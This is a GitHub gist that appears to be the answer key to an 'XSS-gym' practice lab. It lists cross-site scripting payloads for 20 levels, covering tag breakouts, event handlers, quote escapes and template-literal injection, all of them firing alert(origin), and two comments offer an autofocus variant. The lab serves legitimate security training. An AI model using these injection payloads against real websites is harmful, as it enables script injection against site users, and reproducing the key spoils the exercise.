Last active
February 16, 2025 10:20
-
-
Save blackvoidx/c7bc28a9d55727b8c847e2f83df04416 to your computer and use it in GitHub Desktop.
XSS-gym
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
level-1 => test</title><script>alert(origin)</script> | |
level-2 => test</noscript><script>alert(origin)</script> | |
level-3 => red;}</style><script>alert(origin)</script> | |
level-4 => %26apos;-alert(origin)-%26apos; <- OR -> %26apos;,alert(origin),%26apos; | |
level-5 => test<img src='x' onerror='alert(origin)'/> | |
level-6 => "><img src='x' onerror='alert(origin)'/> // | |
level-7 => '><img src='x' onerror='alert(origin)'\/> | |
level-8 => "onfocus="eval(alert(origin)) | |
level-9 => 'onfocus='eval(alert(origin)) | |
level-10 => test</textarea><img src='x' onerror='alert(origin)'/> // | |
level-11 => </script><svg/onload=alert(origin)> | |
level-12 => </script><svg/onload=alert(origin)> | |
level-13 => test';eval(alert(origin)) // | |
level-14 => test";eval(alert(origin)) // | |
level-15 => test\';eval(alert(origin)) // | |
level-16 => test\";eval(alert(origin)) // | |
level-17 => </script><svg/onload=alert(origin)> | |
level-18 => test`;eval(alert(origin)) // | |
level-19 => test\`;eval(alert(origin)) // | |
level-20 => ${alert(origin)} |
i think in level 8 you should use => "%20autofocus%20onfocus=alert(origin)%20"
Yes, its true
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
i think in level 8 you should use => "%20autofocus%20onfocus=alert(origin)%20"